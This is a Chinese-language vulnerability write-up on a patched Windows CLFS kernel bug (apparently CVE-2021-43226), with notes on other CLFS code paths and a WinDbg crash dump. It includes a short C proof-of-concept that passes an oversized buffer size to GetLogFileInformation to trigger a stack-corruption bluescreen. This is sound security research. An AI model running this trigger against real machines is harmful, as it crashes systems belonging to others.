漏洞分析

根据 patch 可以得到主要更改了 CClfsLogFcbVirtual::QueryLogFileInfo 函数,其中判断了 a7 指向的值,当他大于 0x78 的时候也直接设为 0x78 ,并在接下来继续使用:

Untitled.png

根据函数名,查询 MSDN ,可以推断出可能 GetLogFileInformation 函数可以触发到该路径:

1
2
3
4
5
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);

其中传入了一个 pinfoBuffer ,结构为 PCLFS_INFORMATION :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct _CLS_INFORMATION {
LONGLONG TotalAvailable;
LONGLONG CurrentAvailable;
LONGLONG TotalReservation;
ULONGLONG BaseFileSize;
ULONGLONG ContainerSize;
ULONG TotalContainers;
ULONG FreeContainers;
ULONG TotalClients;
ULONG Attributes;
ULONG FlushThreshold;
ULONG SectorSize;
CLS_LSN MinArchiveTailLsn;
CLS_LSN BaseLsn;
CLS_LSN LastFlushedLsn;
CLS_LSN LastLsn;
CLS_LSN RestartLsn;
GUID Identity;
} CLS_INFORMATION, *PCLS_INFORMATION, *PPCLS_INFORMATION;

大小刚好是 0x78 ,而 cbBuffer 是我们所传入的,那么我们将该值设大一些并进行测试,调试一下可以发现下面的函数走到了 CClfsLogFcbPhysical::QueryLogFileInfo ,并且在这里会导致栈被改写:

Untitled 1.png

这里的 a6 是上面所传入的 src ,而 a7 不变:

Untitled 2.png

src 是个局部变量,而 a7 是我们自己传入的值,这就意味着我们可以造成栈底的元素被改写为 0 ,所以会触发 GS 保护并 BSOD 。

总的来说是一个没有检查传入的参数,并使用该参数对局部变量进行操作从而导致 BSOD 的漏洞,实用性并不高。同时 patch 也比较正确,没有什么问题。

另外当传入的 _CLS_LOG_INFORMATION_CLASS 为 ClfsLogBasicInformation 和 ClfsLogBasicInformationPhysical 时都可以走到漏洞触发的路径,不知道这算是一个漏洞还是两个。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <Windows.h>
#include <clfsw32.h>
#pragma comment(lib, "clfsw32.lib")

#define LOG_PATH L"LOG:C:\\Users\\Public\\testlog::stream"

int main() {
HANDLE hLog = CreateLogFile(LOG_PATH, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);

if (hLog == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to CreateLogFile, error : %d\n", GetLastError());
exit(-1);
}

CLFS_INFORMATION InfoBuffer = { 0 };

ULONG infoSize = 0x100;

if (!GetLogFileInformation(hLog, &InfoBuffer, &infoSize)) {
printf("[-] Failed to GetLogFileInformation, error : %d\n", GetLastError());
exit(-1);
}
else {
printf("[+] GetLogFileInformation success!\n");
}
}

CLFS的其他探索

空指针解引用

在 CClfsManagedLog::GetContainerNameFromScanContext 中并未对 ExAllocatePoolWithTag 的返回值进行检查,可能导致空指针解引用:

Untitled 3.png

但是这个不太好触发,虽然这类代码在 CLFS 模块不止这一个,但是总归也没有什么实际价值。

ClfsCreateScanContext

在 ClfsCreateScanContext 中,如果没有检查传入的 cContainers 参数,则可能导致池溢出:

Untitled 4.png

Untitled 5.png

但是该函数是内核的函数,目前没有找到调用路径。

一开始以为 CreateLogContainerScanContext 函数可以走到,但是发现其初始化 Context 的行为是在用户态的 clfsw32.dll 进行的,最后在内核的 CClfsRequest::ScanContainers 函数也会对 cContainers 参数进行检查。调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1: kd> k
# Child-SP RetAddr Call Site
00 fffff28a`d2a05728 fffff801`0e700b3f CLFS!CClfsRequest::ScanContainers
01 fffff28a`d2a05730 fffff801`0e7006d7 CLFS!CClfsRequest::Dispatch+0x2cb
02 fffff28a`d2a05780 fffff801`0e700627 CLFS!ClfsDispatchIoRequest+0x87
03 fffff28a`d2a057d0 fffff801`12c8f7d5 CLFS!CClfsDriver::LogIoDispatch+0x27
04 fffff28a`d2a05800 fffff801`13075a08 nt!IofCallDriver+0x55
05 fffff28a`d2a05840 fffff801`130752d5 nt!IopSynchronousServiceTail+0x1a8
06 fffff28a`d2a058e0 fffff801`13074cd6 nt!IopXxxControlFile+0x5e5
07 fffff28a`d2a05a20 fffff801`12e08ab5 nt!NtDeviceIoControlFile+0x56
08 fffff28a`d2a05a90 00000000`777b1cfc nt!KiSystemServiceCopyEnd+0x25
09 00000000`0016eec8 00000000`777b1933 0x777b1cfc
0a 00000000`0016eed0 00000023`77832b3c 0x777b1933
0b 00000000`0016eed8 00007ffa`bcd30023 0x00000023`77832b3c
0c 00000000`0016eee0 00000000`00000000 0x00007ffa`bcd30023

综上所述并不能触发到该地方。

奇怪的crash

在审模块的时候使用了 该代码 进行更改运行,后面跑着跑着发现 BSOD 了,而且错误的模块在 clfs.sys ,但是分析的内容很奇怪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
0: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Wed Jan 26 21:19:31.658 2022 (UTC + 8:00)), ptr64 TRUE
Loading Kernel Symbols
...............................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

................................
................................................................
................................................................
....
Loading User Symbols

Loading unloaded module list
.........Unable to enumerate user-mode unloaded modules, Win32 error 0n30

************* Symbol Loading Error Summary **************
Module name Error
SharedUserData No error - symbol load deferred

You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

CRITICAL_STRUCTURE_CORRUPTION (109)
This BugCheck is generated when the kernel detects that critical kernel code or
data have been corrupted. There are generally three causes for a corruption:
1) A driver has inadvertently or deliberately modified critical kernel code
or data. See http://www.microsoft.com/whdc/driver/kernel/64bitPatching.mspx
2) A developer attempted to set a normal kernel breakpoint using a kernel
debugger that was not attached when the system was booted. Normal breakpoints,
"bp", can only be set if the debugger is attached at boot time. Hardware
breakpoints, "ba", can be set at any time.
3) A hardware corruption occurred, e.g. failing RAM holding kernel code or data.
Arguments:
Arg1: a3a00165d018d636, Reserved
Arg2: b3b70dec229951b6, Reserved
Arg3: fffff80556821c00, Failure type dependent information
Arg4: 0000000000000001, Type of corrupted region, can be
0 : A generic data region
1 : Modification of a function or .pdata
2 : A processor IDT
3 : A processor GDT
4 : Type 1 process list corruption
5 : Type 2 process list corruption
6 : Debug routine modification
7 : Critical MSR modification
8 : Object type
9 : A processor IVT
a : Modification of a system service function
b : A generic session data region
c : Modification of a session function or .pdata
d : Modification of an import table
e : Modification of a session import table
f : Ps Win32 callout modification
10 : Debug switch routine modification
11 : IRP allocator modification
12 : Driver call dispatcher modification
13 : IRP completion dispatcher modification
14 : IRP deallocator modification
15 : A processor control register
16 : Critical floating point control register modification
17 : Local APIC modification
18 : Kernel notification callout modification
19 : Loaded module list modification
1a : Type 3 process list corruption
1b : Type 4 process list corruption
1c : Driver object corruption
1d : Executive callback object modification
1e : Modification of module padding
1f : Modification of a protected process
20 : A generic data region
21 : A page hash mismatch
22 : A session page hash mismatch
23 : Load config directory modification
24 : Inverted function table modification
25 : Session configuration modification
26 : An extended processor control register
27 : Type 1 pool corruption
28 : Type 2 pool corruption
29 : Type 3 pool corruption
2a : Type 4 pool corruption
2b : Modification of a function or .pdata
2c : Image integrity corruption
2d : Processor misconfiguration
2e : Type 5 process list corruption
2f : Process shadow corruption
30 : Retpoline code page corruption
101 : General pool corruption
102 : Modification of win32k.sys

Debugging Details:
------------------

KEY_VALUES_STRING: 1

Key : Analysis.CPU.mSec
Value: 4921

Key : Analysis.DebugAnalysisManager
Value: Create

Key : Analysis.Elapsed.mSec
Value: 9716

Key : Analysis.Init.CPU.mSec
Value: 104374

Key : Analysis.Init.Elapsed.mSec
Value: 7997335

Key : Analysis.Memory.CommitPeak.Mb
Value: 159

Key : WER.OS.Branch
Value: vb_release

Key : WER.OS.Timestamp
Value: 2019-12-06T14:06:00Z

Key : WER.OS.Version
Value: 10.0.19041.1

BUGCHECK_CODE: 109

BUGCHECK_P1: a3a00165d018d636

BUGCHECK_P2: b3b70dec229951b6

BUGCHECK_P3: fffff80556821c00

BUGCHECK_P4: 1

PROCESS_NAME: System

STACK_TEXT:
ffffef8f`dd527678 fffff805`599129c2 : ffffef8f`dd5277e0 fffff805`5977d2e0 00000000`00000100 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffef8f`dd527680 fffff805`59911fa6 : 00000000`00000003 ffffef8f`dd5277e0 fffff805`5980bfb0 00000000`00000109 : nt!KiBugCheckDebugBreak+0x12
ffffef8f`dd5276e0 fffff805`597f71d7 : ffffc20d`3e50214e ffffef8f`dd527f30 00000000`00000000 ffffc20d`3e50f0a8 : nt!KeBugCheck2+0x946
ffffef8f`dd527df0 00000000`00000000 : 00000000`00000109 a3a00165`d018d636 b3b70dec`229951b6 fffff805`56821c00 : nt!KeBugCheckEx+0x107

SYMBOL_NAME: BPCOUNT_NONZERO

MODULE_NAME: BPCOUNT_NONZERO

IMAGE_NAME: BPCOUNT_NONZERO

STACK_COMMAND: .cxr; .ecxr ; kb

FAILURE_BUCKET_ID: 0x109_1_BPCOUNT_NONZERO!unknown_function

OS_VERSION: 10.0.19041.1

BUILDLAB_STR: vb_release

OSPLATFORM_TYPE: x64

OSNAME: Windows 10

FAILURE_ID_HASH: {1ee1d2e0-30c1-c098-20ee-dfc07d89740a}

Followup: MachineOwner
---------

里面的 fffff80556821c00 是 bootloader 的地址,令我十分疑惑。 windbg 中之前也出现了一些 too large 的字样,不知道是不是资源耗尽了导致的问题。之后也尝试运行之前的代码,但是并没有出现什么问题。不过也可以证明该模块还有许多可以挖掘的地方。

Reference

CVE-2021-43226 漏洞分析 - 安全客,安全资讯平台 (anquanke.com)

ClfsCreateScanContext function (wdm.h) - Windows drivers | Microsoft Docs

CreateLogContainerScanContext function (clfsw32.h) - Win32 apps | Microsoft Docs

ccxx/test/dump/swdbgbk_src/chap15/HiCLFS at 857511248a1bf5b622da64fae6aa0f69126a0fd9 · oudream/ccxx (github.com)